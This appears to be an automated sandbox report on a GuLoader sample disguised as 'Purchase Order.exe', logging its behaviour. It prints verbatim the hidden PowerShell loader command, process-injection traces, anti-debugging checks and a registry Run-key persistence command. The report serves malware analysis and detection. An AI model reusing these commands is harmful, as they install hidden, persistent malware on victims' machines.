Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Section loaded: rstrtmgr.dll	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source: Purchase Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb@ source: powershell.exe, 00000002.00000002.2751700296.0000000008327000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5SEA source: powershell.exe, 00000002.00000002.2746093793.0000000002B78000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2749734497.000000000721D000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2752200135.000000000B5E5000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Glaciated $Uddeligheds $Overfldigstes), (Nonvirulent @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Zogo = [AppDomain]::CurrentDomain.GetAssemblies()$glob
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Hallooed)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Samdeling, $false).DefineType($Blaffe, $Omniparo

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"			Jump to behavior

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Encloser=Get-Content 'C:\Users\user\AppData\Local\potentially\Avantgarders\Epilogic.bac';$Gulvhjderne229=$Encloser.SubString(2901,3);.$Gulvhjderne229($Encloser)"
Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Encloser=Get-Content 'C:\Users\user\AppData\Local\potentially\Avantgarders\Epilogic.bac';$Gulvhjderne229=$Encloser.SubString(2901,3);.$Gulvhjderne229($Encloser)"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Announces			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Announces			Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6229			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3598			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep time: -3689348814741908s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe TID: 5380	Thread sleep time: -33000s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00406033 FindFirstFileA,FindClose,	0_2_00406033
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055D1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_00406033 FindFirstFileA,FindClose,	7_2_00406033
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	7_2_004055D1
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_00402688 FindFirstFileA,	7_2_00402688

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: Purchase Order.exe, 00000000.00000002.1988217073.0000000000648000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:++
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.000000000784A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Purchase Order.exe	API call chain: ExitProcess graph end node			graph_0-3274
Source: C:\Users\user\Desktop\Purchase Order.exe	API call chain: ExitProcess graph end node			graph_0-3426

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_02C4D6E0 LdrInitializeThunk,

2_2_02C4D6E0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Writes to foreign memory regions

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe base: 16E0000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe base: 19FFF4			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe "C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"	Jump to behavior

